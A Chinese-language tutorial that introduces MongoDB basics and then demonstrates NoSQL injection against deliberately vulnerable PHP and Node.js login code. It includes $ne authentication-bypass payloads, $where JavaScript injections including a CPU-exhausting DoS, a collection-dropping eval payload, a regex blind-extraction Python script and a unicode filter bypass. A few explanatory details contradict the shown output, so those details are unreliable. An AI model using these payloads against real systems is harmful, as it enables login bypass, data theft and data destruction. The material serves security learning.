N0sql

No only SQL,目前最流行的nosql产品是MongoDB

一种数据结构由键值对组成的文档

和json类似

{
    "_id" : ObjectId("60fa854cf8aaaf4f21049148"),
    "name" : "whoami",
    "description" : "the admin user",
    "age" : 19,
    "status" : "A",
    "groups" : [
        "admins",
        "users"
    ]
}

MongoDB 基础概念解析

不管我们学习什么数据库都应该学习其中的基础概念,在 MongoDB 中基本的概念有文档、集合、数据库,如下表所示:

SQL 概念 MongoDB 概念 说明
database database 数据库
table collection 数据库表/集合
row document 数据记录行/文档
column field 数据字段/域
index index 索引
table joins 表连接,MongoDB 不支持
primary key primary key 主键,MongoDB 自动将 _id 字段设置为主键

下表列出了关系型数据库 RDBMS 与 MongoDB 之间对应的术语:

RDBMS MongoDB
数据库 数据库
表格 集合
文档
字段
表联合 嵌入文档
主键 主键(MongoDB 提供了 key 为 _id)

数据库(Database)

个 MongoDB 中可以建立多个数据库。MongoDB 的单个实例可以容纳多个独立的数据库,每一个都有自己的集合和权限,不同的数据库也放置在不同的文件中。

使用 show dbs 命令可以显示所有数据库的列表:

$ ./mongo
MongoDB shell version: 3.0.6
connecting to: test
> show dbs
admin   0.078GB
config  0.078GB
local   0.078GB
>

执行 db 命令可以显示当前数据库对象或集合:

$ ./mongo
MongoDB shell version: 3.0.6
connecting to: test
> db
test
>

文档(Document)

文档是一组键值(key-value)对,类似于 RDBMS 关系型数据库中的一行。MongoDB 的文档不需要设置相同的字段,并且相同的字段不需要相同的数据类型,这与关系型数据库有很大的区别,也是 MongoDB 非常突出的特点。

一个简单的文档例子如下:

{"name":"whoami", "age":19}

集合(Collection)

集合就是 MongoDB 文档组,类似于 RDBMS 关系数据库管理系统中的表格。集合存在于数据库中,集合没有固定的结构,这意味着你在对集合可以插入不同格式和类型的数据。

比如,我们可以将以下不同数据结构的文档插入到集合中:

{"name":"whoami"}
{"name":"bunny", "age":19}
{"name":"bob", "age":20, "groups":["admins","users"]}

当插入一个文档时,集合就会被自动创建。

如果我们要查看已有集合,可以使用 show collectionsshow tables 命令:

> show collections
all_users
> show tables
all_users
>

MongoDB基础操作

创建数据库

use DATABASENAME

一键创建;若已存在就连接并切换到指定数据库

创建集合

db.createCollection(name,options)
  • name:要创建的集合名称
  • options:可选参数,指定有关内存大小及索引的选项

如下实例,我们在 users 数据库中创建一个 all_users 集合:

> use users
switched to db users
> db.createCollection("all_users")
{ "ok" : 1 }
>

插入文档

db.COLLECTION_NAME.insert(document)

如下实例,我们向存储在 users 数据库的 all_users 集合中插入一个文档:

> db.all_users.insert({name: 'whoami', 
    description: 'the admin user',
    age: 19,
    status: 'A',
    groups: ['admins', 'users']
})

我们也可以将文档数据定义为一个变量,然后再执行插入操作将变量插入。

更新文档

在 MongoDB 中我们可以使用 update()save() 方法来更新集合中的文档。

  • update() 方法

update() 方法用于更新已存在的文档。语法格式如下:

db.collection.update(
   <query>,
   <update>,
   {
     upsert: <boolean>,
     multi: <boolean>,
     writeConcern: <document>
   }
)

参数说明:

  • query:update 操作的查询条件,类似 sql update 语句中 where 子句后面的内容。
  • update:update 操作的对象和一些更新的操作符(如 $set)等,可以理解为 sql update 语句中 set 关键字后面的内容。
  • multi:可选,默认是 false,只更新找到的第一条记录,如果这个参数为 true,就把按条件查出来多条记录全部更新。

接着我们通过 update() 方法来将年龄 age 从 19 更新到 20:

> db.lover.update({'age':19}, {$set:{'age':20}})
WriteResult({ "nMatched" : 0, "nUpserted" : 0, "nModified" : 0 })
>
> db.all_users.find().pretty()
{
    "_id" : ObjectId("60fa854cf8aaaf4f21049148"),
    "name" : "whoami",
    "description" : "the admin user",
    "age" : 20,
    "status" : "A",
    "groups" : [
        "admins",
        "users"
    ]
}
>

成功将 age 从 19 改为了 20。

以上语句只会修改第一条发现的文档,如果你要修改多条相同的文档,则需要设置 multi 参数为 true。

> db.lover.update({'age':'19'}, {$set:{'age':20}}, {multi:true})
  • save() 方法

save() 方法通过传入的文档来替换已有文档,_id 主键存在就更新,不存在就插入。语法格式如下:

db.collection.save(
   <document>,
   {
     writeConcern: <document>
   }
)

参数说明:

  • document:文档数据。

如下实例中我们替换了 _id 为 60fa854cf8aaaf4f21049148 的文档数据:

> db.all_users.save({
    "_id" : ObjectId("60fa854cf8aaaf4f21049148"),
    "name" : "whoami",
    "description" : "the admin user",
    "age" : 21,
    "status" : "A",
    "groups" : [
        "admins",
        "users"
    ]
})

查询文档

db.collection.find(query,projection)

参数说明:

  • query:可选,使用查询操作符指定查询条件,相当于 sql select 语句中的 where 子句。
  • projection:可选,使用投影操作符指定返回的键。

如下实例我们查询了集合 all_users 中的 age 为 20 的数据:

> db.all_users.find({"age":"20"})
{ "_id" : ObjectId("60fa854cf8aaaf4f21049148"), "name" : "whoami", "description" : "the admin user", "age" : "20", "status" : "A", "groups" : [ "admins", "users" ] }
>

如果你需要以易读的方式来读取数据,可以使用 pretty() 方法以格式化的方式来显示所有文档:

> db.all_users.find({"age":20}).pretty()
{
    "_id" : ObjectId("60fa854cf8aaaf4f21049148"),
    "name" : "whoami",
    "description" : "the admin user",
    "age" : 20,
    "status" : "A",
    "groups" : [
        "admins",
        "users"
    ]
}
>

MongoDB 与 RDBMS 之间的类比比较

如果你熟悉常规的 SQL 数据,通过下表可以更好的理解 MongoDB 的条件语句查询:

操作 格式 范例 RDBMS 中的类似语句
等于 {<key>:<value>} db.love.find({"name":"whoami"}).pretty() where name = 'whoami'
小于 {<key>:{$lt:<value>}} db.love.find({"age":{$lt:19}}).pretty() where age < 19
小于或等于 {<key>:{$lte:<value>}} db.love.find({"age":{$lte:19}}).pretty() where likes <= 19
大于 {<key>:{$gt:<value>}} db.love.find({"age":{$gt:19}}).pretty() where likes > 19
大于或等于 {<key>:{$gte:<value>}} db.love.find({"age":{$gte:19}}).pretty() where likes >= 19
不等于 {<key>:{$ne:<value>}} db.love.find({"age":{$ne:19}}).pretty() where likes != 19

而查询时的AND语句的表示即用,隔开多个键值对

语法格式如下:

> db.all_users.find({"status":"B", "age":20})
{ "_id" : ObjectId("60fa8ef8f8aaaf4f2104914e"), "name" : "bob", "description" : "the normal user", "age" : 20, "status" : "B", "groups" : [ "normals", "users" ] }
>

以上实例中类似于 RDBMS 中的 WHERE 语句:WHERE status='B' AND age=20

查询时的OR语句要在开头加上$or

语法格式如下:

> db.col.find(
   {
      $or: [
         {key1: value1}, {key2:value2}
      ]
   }
).pretty()

如下实例,我们查询键 status 值为 A 或键 age 值为 19 的文档。

> db.all_users.find({$or:[{"status":"A", "age":"19"}]})
{ "_id" : ObjectId("60fa8ec6f8aaaf4f2104914c"), "name" : "bunny", "description" : "the normal user", "age" : 19, "status" : "A", "groups" : [ "lovers", "users" ] }

如下实例,我们查询键 status 值为 A 或键 age 值为 19 的文档。

> db.all_users.find({$or:[{"status":"A", "age":"19"}]})
{ "_id" : ObjectId("60fa8ec6f8aaaf4f2104914c"), "name" : "bunny", "description" : "the normal user", "age" : 19, "status" : "A", "groups" : [ "lovers", "users" ] }

联合使用

以下实例演示了 AND 和 OR 联合使用,类似于 RDBMS 中的 WHERE 语句: where age>19 AND (name='whoami' OR status='A')

> db.all_users.find({"age":{$gt:19}, $or: [{"name":"whoami"}, {"status":"A"}]})
{ "_id" : ObjectId("60fa9176f8aaaf4f21049150"), "name" : "whoami", "description" : "the admin user", "age" : 20, "status" : "A", "groups" : [ "admins", "users" ] }
>

注入时间到

按照语言分类

可以分为

  • PHP数组注入
  • js注入
  • mongoshell拼接注入

按照攻击机制分类

可以分为

  • 重言式注入
  • 联合查询注入
  • js注入
  • 盲注

  • 重言式注入

又称为永真式,此类攻击是在条件语句中注入代码,使生成的表达式判定结果永远为真,从而绕过认证或访问机制。

  • 联合查询注入

联合查询是一种众所周知的 SQL 注入技术,攻击者利用一个脆弱的参数去改变给定查询返回的数据集。联合查询最常用的用法是绕过认证页面获取数据。

  • JavaScript 注入

MongoDB Server 支持 JavaScript,这使得在数据引擎进行复杂事务和查询成为可能,但是传递不干净的用户输入到这些查询中可以注入任意的 JavaScript 代码,导致非法的数据获取或篡改。

  • 盲注

当页面没有回显时,那么我们可以通过 $regex 正则表达式来达到和传统 SQL 注入中 substr() 函数相同的功能,而且 NoSQL 用到的基本上都是布尔盲注。

PHP中的注入

重言式注入

保证一个永真条件即可

首先在 MongoDB 中选中 test 数据库,创建一个 users 集合并插入文档数据:

> use test
switched to db test
>
> db.createCollection('users')
{ "ok" : 1 }
>
> db.users.insert({username: 'admin', password: '123456'})
WriteResult({ "nInserted" : 1 })
> db.users.insert({username: 'whoami', password: '657260'})
WriteResult({ "nInserted" : 1 })
> db.users.insert({username: 'bunny', password: '964795'})
WriteResult({ "nInserted" : 1 })
> db.users.insert({username: 'bob', password: '965379'})
WriteResult({ "nInserted" : 1 })
>

然后编写 index.php:

<?php
$manager = new MongoDB\Driver\Manager("mongodb://127.0.0.1:27017");
$username = $_POST['username'];
$password = $_POST['password'];

$query = new MongoDB\Driver\Query(array(
    'username' => $username,
    'password' => $password
));

$result = $manager->executeQuery('test.users', $query)->toArray();
$count = count($result);
if ($count > 0) {
    foreach ($result as $user) {
        $user = ((array)$user);
        echo '====Login Success====<br>';
        echo 'username:' . $user['username'] . '<br>';
        echo 'password:' . $user['password'] . '<br>';
    }
}
else{
    echo 'Login Failed';
}
?>

如下,当正常用户想要登陆 whoami 用户时,POST 方法提交的数据如下:

username=whoami&password=657260

进入 PHP 后的程序数据如下:

array(
    'username' => 'whoami',
    'password' => '657260'
)

进入 MongoDB 后执行的查询命令为:

> db.users.find({'username':'whoami', 'password':'657260'})
{ "_id" : ObjectId("60fa9c80257f18542b68c4b9"), "username" : "whoami", "password" : "657260" }

我们从代码中可以看出,这里对用户输入没有做任何过滤与校验,那么我们可以通过 $ne 关键字构造一个永真的条件就可以完成 NoSQL 注入:

username[$ne]=1&password[$ne]=1

如下图所示,成功查出所有的用户信息,说明成功注入了一个永真查询条件:

20210724161640-790ad458-ec57-1

提交的数据进入 PHP 后的数据如下:

array(
    'username' => array('$ne' => 1),
    'password' => array('$ne' => 1)
)

进入 MongoDB 后执行的查询命令为:

> db.users.find({'username':{$ne:1}, 'password':{$ne:1}})
{ "_id" : ObjectId("60fa9c7b257f18542b68c4b8"), "username" : "admin", "password" : "123456" }
{ "_id" : ObjectId("60fa9c80257f18542b68c4b9"), "username" : "whoami", "password" : "657260" }
{ "_id" : ObjectId("60fa9c85257f18542b68c4ba"), "username" : "bunny", "password" : "964795" }
{ "_id" : ObjectId("60fa9c88257f18542b68c4bb"), "username" : "bob", "password" : "965379" }

由于 users 集合中 username 和 password 都不等于 1,所以将所有的文档数据查出,这很可能是真实的,并且可能允许攻击者绕过身份验证。

对于 PHP 本身的特性而言,由于其松散的数组特性,导致如果我们发送 value=1 那么,也就是发送了一个 value 的值为 1 的数据。如果发送 value[$ne]=1 则 PHP 会将其转换为数组 value=array($ne=>1),当数据到了进入 MongoDB 后,原来一个单一的 {"value":1} 查询就变成了一个 {"value":{$ne:1} 条件查询。同样的,我们也可以使用下面这些作为 payload 进行攻击:

username[$ne]=&password[$ne]=
username[$gt]=&password[$gt]=
username[$gte]=&password[$gte]=

这种重言式注入的方式也是我们通常用来验证网站是否存在 NoSQL 注入的第一步。

联合查询注入

在 MongoDB 之类的流行数据存储中,JSON 查询结构使得联合查询注入攻击变得比较复杂了,但也是可以实现的。

我们都知道,直接对 SQL 查询语句进行字符拼接串容易造成 SQL 注入,NoSQL 也有类似问题。如下实例,假设后端的 MongoDB 查询语句使用了字符串拼接:

string query ="{ username: '" + $username + "', password: '" + $password + "' }"

当用户正确的用户名密码进行登录时,得到的查询语句是应该这样的:

{'username':'admin', 'password':'123456'}

如果此时没有很好地对用户的输入进行过滤或者效验,那攻击者便可以构造如下 payload:

username=admin', $or: [ {}, {'a': 'a&password=' }], $comment: '123456

拼接入查询语句后相当于执行了:

{ username: 'admin', $or: [ {}, {'a':'a', password: '' }], $comment: '123456'}

此时,只要用户名是正确的,这个查询就可以成功。这种手法和 SQL 注入比较相似:

select * from logins where username = 'admin' and (password true<> or ('a'='a' and password = ''))

这样,原本正常的查询语句会被转换为忽略密码的,在无需密码的情况下直接登录用户账号,因为 () 内的条件总是永真的。

但是现在无论是 PHP 的 MongoDB Driver 还是 Nodejs 的 Mongoose 都必须要求查询条件必须是一个数组或者 Query 对象了,因此这种注入方法简单了解一下就好了。

js注入

$where 操作符

首先我们需要了解一下 $where 操作符。在 MongoDB 中,$where 操作符可以用来执行 JavaScript 代码,将 JavaScript 表达式的字符串或 JavaScript 函数作为查询语句的一部分。在 MongoDB 2.4 之前,通过 $where 操作符使用 map-reducegroup 命令甚至可以访问到 Mongo Shell 中的全局函数和属性,如 db,也就是说可以在自定义的函数里获取数据库的所有信息。

如下实例:

> db.users.find({ $where: "function(){return(this.username == 'whoami')}" })
{ "_id" : ObjectId("60fa9c80257f18542b68c4b9"), "username" : "whoami", "password" : "657260" }
>

由于使用了 $where 关键字,其后面的 JavaScript 将会被执行并返回 “whoami”,然后将查询出 username 为 whoami 的数据。

某些易受攻击的 PHP 应用程序在构建 MongoDB 查询时可能会直接插入未经过处理的用户输入,例如从变量中 $userData 获取查询条件:

db.users.find({ $where: "function(){return(this.username == $userData)}" })

然后,攻击者可能会注入一种恶意的字符串如 'a'; sleep(5000) ,此时 MongoDB 执行的查询语句为:

db.users.find({ $where: "function(){return(this.username == 'a'; sleep(5000))}" })

如果此时服务器有 5 秒钟的延迟则说明注入成功。

下面我们编写 index.php 进行测试:

<?php
$manager = new MongoDB\Driver\Manager("mongodb://127.0.0.1:27017");
$username = $_POST['username'];
$password = $_POST['password'];
$function = "
function() { 
    var username = '".$username."';
    var password = '".$password."';
    if(username == 'admin' && password == '123456'){
        return true;
    }else{
        return false;
    }
}";
$query = new MongoDB\Driver\Query(array(
    '$where' => $function
));
$result = $manager->executeQuery('test.users', $query)->toArray();
$count = count($result);
if ($count>0) {
    foreach ($result as $user) {
        $user=(array)$user;
        echo '====Login Success====<br>';
        echo 'username: '.$user['username']."<br>";
        echo 'password: '.$user['password']."<br>";
    }
}
else{
    echo 'Login Failed';
}
?>
  • MongoDB 2.4 之前

在 MongoDB 2.4 之前,通过 $where 操作符使用 map-reducegroup 命令可以访问到 Mongo Shell 中的全局函数和属性,如 db,也就是说可以通过自定义 JavaScript 函数来获取数据库的所有信息。

如下所示,发送以下数据后,如果有回显的话将获取当前数据库下所有的集合名:

username=1&password=1';(function(){return(tojson(db.getCollectionNames()))})();var a='1
  • MongoDB 2.4 之后

MongoDB 2.4 之后 db 属性访问不到了,但我们应然可以构造万能密码。如果此时我们发送以下这几种数据:

username=1&password=1';return true//
或
username=1&password=1';return true;var a='1

如下图所示,成功查出所有的用户信息:

20210724161640-790ad458-ec57-1

这是因为发送 payload 进入 PHP 后的数据如下:

array(
    '$where' => "
    function() { 
        var username = '1';
        var password = '1';return true;var a='1';
        if(username == 'admin' && password == '123456'){
            return true;
        }else{
            return false;
        }
    }
")

进入 MongoDB 后执行的查询命令为:

> db.users.find({$where: "function() { var username = '1';var password = '1';return true;var a='1';if(username == 'admin' && password == '123456'){ return true; }else{ return false; }}"})
{ "_id" : ObjectId("60fa9c7b257f18542b68c4b8"), "username" : "admin", "password" : "123456" }
{ "_id" : ObjectId("60fa9c80257f18542b68c4b9"), "username" : "whoami", "password" : "657260" }
{ "_id" : ObjectId("60fa9c85257f18542b68c4ba"), "username" : "bunny", "password" : "964795" }
{ "_id" : ObjectId("60fa9c88257f18542b68c4bb"), "username" : "bob", "password" : "965379" }
>

我们从代码中可以看出,password 中的 return true 使得整个 JavaScript 代码提前结束并返回了 true,这样就构造出了一个永真的条件并完成了 NoSQL 注入。

此外还有一个类似于 DOS 攻击的 payload,可以让服务器 CPU 飙升到 100% 持续 5 秒:

username=1&password=1';(function(){var date = new Date(); do{curDate = new Date();}while(curDate-date<5000); return Math.max();})();var a='1
commmand方法注入

MongoDB driver一般都提供直接执行shell命令的方法,这些方式一般是不推荐使用的,但难免有人为了实现一些复杂的查询去使用,在php官网中就已经友情提醒了不要这样使用:

<?php
$m = new MongoDB\Driver\Manager;
// Don't do this!!!
$username = $_GET['field'];
// $username is set to "'); db.users.drop(); print('"$cmd = new \MongoDB\Driver\Command( [
'eval' => "print('Hello, $username!');"
] );

$r = $m->executeCommand( 'dramio', $cmd );?>

也可以用Command去实现Mongo的distinct方法

<?php
$manager = new MongoDB\Driver\Manager();

$uname = $_GET['username'];
$pwd = $_GET['password'];

$cmd = new MongoDB\Driver\Command([
'eval'=> "db.users.distinct('uname', {uname: '".$uname."', pwd: '".$pwd."'})"
]);
echo "db.users.distinct('uname', {uname: '".$uname."', pwd: '".$pwd."'})";
$result = $manager->executeCommand('sec_test', $cmd)->toArray();
$result =((array)$result[0])['retval'];
$count = count($result);
if ($count>0) {
    foreach ($result as $user) {
        $user=(array)$user;
        echo 'username: '.$user['uname']."\n";
        echo 'password: '.$user['pwd']."\n";
    }
}
else{
    echo '用户不存在';
}
?>

这个就危险太多了,就相当于把mongo shell开放给用户了,你基本可以构建任何mongo shell可以执行的payload了,如果当前应用连接数据库的权限恰好很高,我们能干的事情更多。如构建

payload:username=2'});db.users.drop();db.user.find({'username':'2
execute方法注入

在旧版本中,可以用execute来执行一段字符串

<?php

$mongo = new mongoclient();
$uname = $_GET['username'];
$pwd = $_GET['password'];

$db = $mongo->sec_test; // 选择数据库
$query = "db.users.find({'uname': ".$uname."},{'pwd', ".$pwd."})";
$result = $db->execute($query);

if ($result->count() > 0) {
    foreach ($result as $user) {
        echo 'username: '.$user['uname']."\n";
        echo 'password: '.$user['pwd']."\n";
    }
}
else{
    echo '该用户不存在';
}
?>

而在新版本中,多用executeQuery来进行查询

<?php
$manager = new MongoDB\Driver\Manager();

$uname = $_GET['username'];
$pwd = $_GET['password'];

$function = "function() {if(this.uname == '$uname' && this.pwd == '$pwd') return {'username': this.uname, 'password': this.pwd}}";

$query = new MongoDB\Driver\Query(array(
'$where' => $function
));

$result = $manager->executeQuery('sec_test.users', $query)->toArray();

$count = count($result);
if ($count>0) {
    foreach ($result as $user) {
        $user=(array)$user;
        echo 'username: '.$user['uname']."\n";
        echo 'password: '.$user['pwd']."\n";
    }
}
else{
    echo '用户不存在';
}
?>
<?php
$manager = new MongoDB\Driver\Manager();

$uname = $_GET['username'];
$pwd = $_GET['password'];

$query = new MongoDB\Driver\Query(array(
    'uname'=>$uname,
    'pwd'=>$pwd
));

$result = $manager->executeQuery('sec_test.users', $query)->toArray();

$count = count($result);
if ($count>0) {
    foreach ($result as $user) {
        $user=(array)$user;
        echo 'username: '.$user['uname']."\n";
        echo 'password: '.$user['pwd']."\n";
    }
}
else{
    echo '未找到';
}
?>

布尔盲注

当页面没有回显时,那么我们可以通过 $regex 正则表达式来进行盲注, $regex 可以达到和传统 SQL 注入中 substr() 函数相同的功能。

我们还是利用第一个 index.php 进行演示:

<?php
$manager = new MongoDB\Driver\Manager("mongodb://127.0.0.1:27017");
$username = $_POST['username'];
$password = $_POST['password'];

$query = new MongoDB\Driver\Query(array(
    'username' => $username,
    'password' => $password
));

$result = $manager->executeQuery('test.users', $query)->toArray();
$count = count($result);
if ($count > 0) {
    foreach ($result as $user) {
        $user = ((array)$user);
        echo '====Login Success====<br>';
        echo 'username:' . $user['username'] . '<br>';
        echo 'password:' . $user['password'] . '<br>';
    }
}
else{
    echo 'Login Failed';
}
?>

布尔盲注重点在于怎么逐个提取字符,如下所示,在已知一个用户名的情况下判断密码的长度:

username=admin&password[$regex]=.{4}    // 登录成功
username=admin&password[$regex]=.{5}    // 登录成功
username=admin&password[$regex]=.{6}    // 登录成功
username=admin&password[$regex]=.{7}    // 登录失败
......

password[$regex]=.{6} 时可以成功登录,但在 password[$regex]=.{7} 时登录失败,说明该 whoami 用户的密码长度为 7。

提交的数据进入 PHP 后的数据如下:

array(
    'username' => 'admin',
    'password' => array('$regex' => '.{6}')
)

进入 MongoDB 后执行的查询命令为:

> db.users.find({'username':'admin', 'password':{$regex:'.{6}'}})
{ "_id" : ObjectId("60fa9c7b257f18542b68c4b8"), "username" : "admin", "password" : "123456" }
> db.users.find({'username':'admin', 'password':{$regex:'.{7}'}})
>

由于 whoami 用户的 password 长度为 6,所以查询条件 {'username':'admin', 'password':{$regex:'.{6}'}} 为真,便能成功登录,而 {'username':'admin', 'password':{$regex:'.{7}'}} 为假,自然也就登录不了。

知道 password 的长度之后我们便可以逐位提取 password 的字符了:

username=admin&password[$regex]=1.{5}
username=admin&password[$regex]=12.{4}
username=admin&password[$regex]=123.{3}
username=admin&password[$regex]=1234.{2}
username=admin&password[$regex]=12345.*
username=admin&password[$regex]=123456
或
username=admin&password[$regex]=^1
username=admin&password[$regex]=^12
username=admin&password[$regex]=^123
username=admin&password[$regex]=^1234
username=admin&password[$regex]=^12345
username=admin&password[$regex]=^123456

这是某个师傅的盲注脚本,贴一下

import requests
import string

password = ''
url = 'http://192.168.226.148/index.php'

while True:
    for c in string.printable:
        if c not in ['*', '+', '.', '?', '|', '#', '&', '$']:

            # When the method is GET
            get_payload = '?username=admin&password[$regex]=^%s' % (password + c)
            # When the method is POST
            post_payload = {
                "username": "admin",
                "password[$regex]": '^' + password + c
            }
            # When the method is POST with JSON
            json_payload = """{"username":"admin", "password":{"$regex":"^%s"}}""" % (password + c)
            #headers = {'Content-Type': 'application/json'}
            #r = requests.post(url=url, headers=headers, data=json_payload)    # 简单发送 json

            r = requests.post(url=url, data=post_payload)
            if 'Login Success' in r.text:
                print("[+] %s" % (password + c))
                password += c


# 输出如下: 
# [+] 1
# [+] 12
# [+] 123
# [+] 1234
# [+] 12345
# [+] 123456

Nodejs中的MongoDB注入

NodeJS里面的Nosql就主要式重言式注入了,构造永真式密码来实现登陆绕过

  • server.js
var express = require('express');
var mongoose = require('mongoose');
var jade = require('jade');
var bodyParser = require('body-parser');

mongoose.connect('mongodb://localhost/test', { useNewUrlParser: true });
var UserSchema = new mongoose.Schema({
    name: String,
    username: String,
    password: String
});
var User = mongoose.model('users', UserSchema);
var app = express();

app.set('views', __dirname);
app.set('view engine', 'jade');

app.get('/', function(req, res) {
    res.render ("index.jade",{
        message: 'Please Login'
    });
});

app.use(bodyParser.json());

app.post('/', function(req, res) {
    console.log(req.body)
    User.findOne({username: req.body.username, password: req.body.password}, function (err, user) {
        console.log(user)
        if (err) {
            return res.render('index.jade', {message: err.message});
        }
        if (!user) {
            return res.render('index.jade', {message: 'Login Failed'});
        }

        return res.render('index.jade', {message: 'Welcome back ' + user.name + '!'});
    });
});

var server = app.listen(8000, '0.0.0.0', function () {

    var host = server.address().address
    var port = server.address().port
    console.log("listening on http://%s:%s", host, port)
});
  • index.jade
h1 #{message}
p #{message}

运行访问,发送

{"username":{"$ne":1},"password":{"$ne":1}}

20210724161641-79e9c82a-ec57-1

成功登录

如果$ne关键字被过滤也可以用unicode来绕过

因为JSON是可以直接解unicode的

belike:

{"username":{"\u0024\u006e\u0065":1},"password": {"\u0024\u006e\u0065":1}}
// {"username":{"$ne":1},"password": {"$ne":1}}